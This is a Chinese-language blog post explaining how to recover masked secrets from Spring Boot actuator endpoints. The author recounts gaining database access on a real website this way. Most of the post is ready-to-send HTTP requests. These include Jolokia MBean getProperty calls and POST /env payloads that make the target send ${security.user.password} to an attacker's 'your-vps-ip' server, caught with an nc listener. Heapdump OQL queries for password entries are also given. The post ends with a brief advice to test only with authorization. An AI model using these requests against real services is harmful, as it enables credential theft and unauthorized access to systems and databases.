獲取spring boot脫敏屬性明文

前言

之前對spring boot的敏感信息泄露和rce漏洞進行了整理復現。
http://www.lxweimin.com/p/8c18f1e05c94
前段時間看到師傅們通過獲取env端點脫敏的數據庫密碼成功getshell,自己也動手嘗試下。

spring boot 獲取env端點脫敏數據

當訪問 /env 接口時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret、key等)的屬性名對應的屬性值用 * 號替換達到脫敏的效果。
如果對屬性名的命名不規范,則會導致敏感信息直接明文顯示出來。
如下為實戰中遇到的一個網站。
數據庫密碼屬性明文不規范,password命名為了passwd,導致密碼直接明文顯示出來。



數據庫地址為外網地址,直接登錄,成功獲取到了數據庫權限。


正常情況下spring actuator會使用*號進行脫敏處理。



GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ******關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名,嘗試進行脫敏處理,獲取明文。

方法一

利用條件:

1、目標網站存在 /jolokia 或 /actuator/jolokia 接口
2、目標使用了 jolokia-core 依賴(版本要求暫未知)

利用過程:

jolokia 調用相關 Mbean 獲取明文
調用 org.springframework.boot Mbean

實際調用的是 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 類實例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

調用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相關依賴)

實際上是調用 org.springframework.cloud.context.environment.EnvironmentManager 類實例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

方法二

利用條件

1、可以 GET 請求目標網站的 /env
2、可以 POST 請求目標網站的 /env
3、可以 POST 請求目標網站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依賴)
4、目標使用了 spring-cloud-starter-netflix-eureka-client 依賴
5、目標可出網

利用過程

使用 nc 監聽 HTTP 請求
1、在自己控制的外網服務器上監聽 80 端口:

nc -lvk 80

2、設置 eureka.client.serviceUrl.defaultZone 屬性
修改security.user.password為想要讀取的密文。



spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

3、訪問/refresh端點刷新配置


spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

4、 解碼屬性值

正常的話,此時 nc 監聽的服務器會收到目標發來的請求,其中包含類似如下 Authorization 頭內容:

Authorization: Basic dmFsdWU6MTIzNDU2

使用base64解碼得到明文。


方法三

利用條件:

1、通過 POST /env 設置屬性觸發目標對外網指定地址發起任意 http 請求
2、請求可出外網

利用過程:

參考 UUUUnotfound 提出的 issue-1,可以在目標發外部 http 請求的過程中,在 url path 中利用占位符帶出數據

1、找到想要獲取的屬性名

GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ****** 關鍵詞,確定其對應的屬性名。

2、 使用 nc 監聽 HTTP 請求

在自己控制的外網服務器上監聽 80 端口:

nc -lvk 80

3、觸發對外 http 請求

spring.cloud.bootstrap.location 方法(同時適用于明文數據中有特殊 url 字符的情況):

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

eureka.client.serviceUrl.defaultZone 方法(不適用于明文數據中有特殊 url 字符的情況):


spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

4、刷新配置



spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

vps成功接收到密碼。


方法四

利用條件

1、目標不出網,且/jolokia 接口沒有合適的 MBean 或者不支持 POST 請求
2、目標存在/heapdump 或 /actuator/heapdump端點

利用過程

1、首先找到想要獲取的屬性名



2、下載 jvm heap 信息
訪問/heapdump 或 /actuator/heapdump端點,下載應用實時的 JVM 堆信息。



spring boot 1.x版本下載的heapdump文件包含了時間以及后綴,在spring boot 2.x版本,需要把下載到的heapdump文件修改為hprof后綴。

3、使用 Eclipse Memory Analyzer 獲得 jvm heap 中的密碼明文
下載地址:https://www.eclipse.org/mat/downloads.php
運行Eclipse Memory Analyzer,把文件導入進去,點擊OQL輸入執行的查詢語句,點擊感嘆號執行語句。

select * from org.springframework.web.context.support.StandardServletEnvironment

查找想要查看的密碼屬性,理論來說spring boot 1.x版本redis密碼存在java.util.Hashtable$Entry實例的鍵值對中,2.x版本存儲在java.util.LinkedHashMap$Entry實例的鍵值對中,實際情況中,無論1.x和2.x版本這2個實例都有可能存儲密碼屬性,也可能存儲在一些其它實例中,需要自行查找。

搜索存儲在java.util.LinkedHashMap$Entry實例的密碼屬性。

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))


搜索存儲在java.util.Hashtable$Entry實例的密碼屬性。

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

注意事項

POST訪問env端點修改屬性,會破壞原有屬性,影響網站系統正常使用。請在取得授權后進行測試,并且記錄原有屬性值,測試完成后及時修改回去,防止不必要的麻煩。

參考鏈接

https://zhuanlan.zhihu.com/p/147251883
https://github.com/LandGrey/SpringBootVulExploit

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,882評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,208評論 3 414
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,746評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,666評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,477評論 6 407
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 54,960評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,047評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,200評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,726評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,617評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,807評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,327評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,049評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,425評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,674評論 1 281
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,432評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,769評論 2 372

推薦閱讀更多精彩內容